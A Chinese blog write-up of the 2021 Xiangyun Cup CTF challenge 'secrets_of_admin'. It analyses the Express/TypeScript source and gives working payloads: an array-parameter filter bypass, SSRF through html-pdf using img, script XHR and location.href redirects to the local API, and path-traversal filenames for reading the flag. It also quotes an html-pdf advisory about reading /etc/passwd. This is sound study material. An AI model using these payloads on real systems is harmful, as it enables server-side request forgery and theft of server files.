[2021祥云杯]secrets_of_admin

[2021祥云杯]secrets_of_admin

代码分析

附件中有3个ts文件,我们主要分析index.ts,而databash.ts可以用来获取很多信息

按路由来分析

/的POST方式

/的POST方式,主要是传参username和password,调用DB.Login方法

router.post('/', async (req, res) => {
    let { username, password } = req.body;
    if ( username && password) {
        if ( username == '' || typeof(username) !== "string" || password == '' || typeof(password) !== "string" ) {
            return res.render('index', { error: 'Parameters error 👻'});
        }
        let data = await DB.Login(username, password)
        if(!data) {
            return res.render('index', { error : 'You are not admin 😤'});
        }
        res.cookie('token', {
            username: username,
            isAdmin: true 
        }, { signed: true })
        res.redirect('/admin');
    } else {
        return res.render('index', { error : 'Parameters cannot be blank 😒'});
    }
})

而在这个DB.Login方法中会将传入的参数和数据库中的信息进行对比

static Login(username: string, password: string): Promise<any> {
        return new Promise((resolve, reject) => {
            db.get(`SELECT * FROM users WHERE username = ? AND password = ?`, username, password, (err , result ) => {
                if (err) return reject(err);
                resolve(result !== undefined);
            })
        })
    }

/admin的GET方式

/admin的GET方式,调用checkAuth方法

router.get('/admin', checkAuth, async (req, res) => {
    let token = req.signedCookies['token'];
    try {
        const files = await DB.listFile(token.username);
        if (files) {
            //将信息写入cookie
            res.cookie('token', {username: token.username, files: files, isAdmin: true }, { signed: true })
        }
    } catch (err) {
        return res.render('admin', { error: 'Something wrong ... 👻'})
    }
    return res.render('admin');
});

这个checkAuth方法的意思直白,就是检查username是否为superuser,意思就是禁止用户superuser

const checkAuth = (req: Request, res:Response, next:NextFunction) => {
    let token = req.signedCookies['token']
    if (token && token["username"]) {
        if (token.username === 'superuser'){
            next(createError(404)) // superuser is disabled since you can't even find it in database :)
        }
        if (token.isAdmin === true) {
            next();
        }
        else {
            return res.redirect('/')
        }
    } else {
        next(createError(404));
    }
}

检查username之后,会去获取token,接下来调用listFile方法,这个listFile方法,会根据传入的usename查询filename和checksum

static listFile(username: string): Promise<any> {
        return new Promise((resolve, reject) => {
            db.all(`SELECT filename, checksum FROM files WHERE username = ? ORDER BY filename`, username, (err, result) => {
                if (err) return reject(err);
                resolve(result);
            })
        })
    }

如果files存在,就将相关信息写入cookie

res.cookie('token', {username: token.username, files: files, isAdmin: true }, { signed: true })

/admin的POST方式

调用checkAuth方法禁止用户superuser

获取content,并且有waf,过滤了相关的关键词

router.post('/admin', checkAuth, (req, res, next) => {
    //获取content
    let { content } = req.body;
    //对content进行过滤,不允许为空,包含< > / script on 
    if ( content == '' || content.includes('<') || content.includes('>') || content.includes('/') || content.includes('script') || content.includes('on')){
        // even admin can't be trusted right ? :)  
        return res.render('admin', { error: 'Forbidden word 🤬'});
    } else {

然后将content放进html模板

else {
        //将content放进html模板中
        let template = `
        <html>
        <meta charset="utf8">
        <title>Create your own pdfs</title>
        <body>
        <h3>${content}</h3>
        </body>
        </html>
        `

调用uuid()随机生成一个pdf,将这个pdf文件放在./files目录下

try {
            //随机生成一个pdf,然后将其送到files目录下
            const filename = `${uuid()}.pdf`
            pdf.create(template, {
                "format": "Letter",
                "orientation": "portrait",
                "border": "0",
                "type": "pdf",
                "renderDelay": 3000,
                "timeout": 5000
            }).toFile(`./files/${filename}`, async (err, _) => {
                if (err) next(createError(500));

调用getCheckSum方法,这个getCheckSum方法的作用是生成一段随机数

const getCheckSum = (filename: string): Promise<string> => {
    return new Promise((resolve, reject) => {
        const shasum = crypto.createHash('md5');
        try {
            const s = fs.createReadStream(path.join(__dirname , "../files/", filename));
            s.on('data', (data) => {
                shasum.update(data)
            })
            s.on('end', () => {
                return resolve(shasum.digest('hex'));
            })
        } catch (err) {
            reject(err)
        }
    })
}

根据filename生成随机数之后,又会将文件名和随机数一起存放到数据库中superuser用户所属下

在这里插入图片描述

/api/files的GET方式

首先判断remoteAddress是否为127.0.0.1,然后获取参数username , filename, checksum,利用DB.Create将username , filename, checksum写入数据库

router.get('/api/files', async (req, res, next) => {
    if (req.socket.remoteAddress.replace(/^.*:/, '') != '127.0.0.1') {
        return next(createError(401));
    }
    //参数赋值
    let { username , filename, checksum } = req.query;
    if (typeof(username) == "string" && typeof(filename) == "string" && typeof(checksum) == "string") {
        try {
            //将username,filename,checksum写入数据库 
            await DB.Create(username, filename, checksum)
            return res.send('Done')
        } catch (err) {
            return res.send('Error!')
        }
    } else {
        return res.send('Parameters error')
    }
});

/api/files/:id的GET方式

获取token,然后禁止superuser用户,调用DB.getFile方法去数据库中的files表查找filename,然后去访问这个文件,注意这里的文件路径是通过path.join进行拼接的,所以我们完全可以通过路径穿越去获取别的文件

router.get('/api/files/:id', async (req, res) => {
    let token = req.signedCookies['token']
    if (token && token['username']) {
        //禁止superuser用户使用
        if (token.username == 'superuser') {
            return res.send('Superuser is disabled now');   
        }
        try {

            //调用getFile方法去数据库中files表查找filename
            let filename = await DB.getFile(token.username, req.params.id)
            if (fs.existsSync(path.join(__dirname , "../files/", filename))){
                //访问该文件
                return res.send(await readFile(path.join(__dirname , "../files/", filename)));
            } else {
                return res.send('No such file!');
            }
        } catch (err) {
            return res.send('Error!');
        }
    } else {
        return res.redirect('/');
    }
});

database.ts

通过查看这个文件,我们可以得到很多有用的信息

数据库中有两个表usersfiles,还有表中的信息,比如admin的密码

INSERT INTO users (id, username, password) VALUES (1, 'admin','e365655e013ce7fdbdbf8f27b418c8fe6dc9354dc4c0328fa02b0ea547659645');

flag信息在files表中,以及其对应的checksum也可以知道

INSERT INTO files (username, filename, checksum) VALUES ('superuser','flag','be5a14a8e504a66979f6938338b0662c');`);

信息处理

我们将得到的信息进行整合

  1. 通过数据库中admin的密码可以登录

  2. admin的GET方式可以将相关信息写入cookie,但是不允许superuser用户

  3. admin的POST方式可以传content,然后将content放入html代码中;然后生成pdf和对应的checksum随机数,并将filename和checksum存入数据库中files表superuser用户所属

  4. /api/files的GET方式只允许本机127.0.0.1访问,可以往files表中写数据,不受限制

  5. /api/files/:id可以访问从数据库中查filename,禁止superuser用户

  6. 我们想要的flag是superuser所属

通过admin的POST方式打SSRF,通过api/files往files中写数据,写的数据中filename最终可以执行flag

解题方法

登录

admin
e365655e013ce7fdbdbf8f27b418c8fe6dc9354dc4c0328fa02b0ea547659645

在这里插入图片描述

因为对content进行了过滤,所以使用content[]进行绕过

在这里插入图片描述

这里的文件名称因为是UNIQUE,所以不能为flag

在这里插入图片描述

但是因为使用的是路径拼接,所以可以使用各种方法来进行绕过

./flag
ee/../flag
../files/flag

通过img进行ssrf

这里理解的是img标签会把src中的链接作为图片链接去自动加载,所以就相当于进行了网页请求

8888端口是因为从源码中,可以看到服务在8888端口上

在这里插入图片描述

<img src="http://127.0.0.1:8888/api/files?username=admin&filename=./flag&checksum=555" />

访问api/files/555,下载555文件,得到flag

在这里插入图片描述

任意文件读取

html-pdf库存在一个任意文件读取:

html-pdf before version 3.0.1 is vulnerable to Arbitrary File Read. The package fails to sanitize the HTML input, allowing attackers to exfiltrate server files by supplying malicious HTML code. XHR requests in the HTML code are executed by the server. Input with an XHR request such as request.open(“GET”,“file:///etc/passwd”) will result in a PDF document with the contents of /etc/passwd.

<script>
var xhr = new XMLHttpRequest();xhr.open("GET", "http://127.0.0.1:8888/api/files?username=admin&filename=./flag&checksum=123", true);xhr.send();
</script>

local.href

content[]=<script>location.href="http://127.0.0.1:8888/api/files?username=admin&filename=../files/flag&checksum=333";</script>

参考链接

  1. 祥云杯2021 Web复现_bfengj的博客-CSDN博客
  2. 祥云杯2021web writeup_Ank1e的博客-CSDN博客
  3. [2021祥云杯]secrets_of_admin writeup + TypeScript看看_shu天的博客-CSDN博客
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值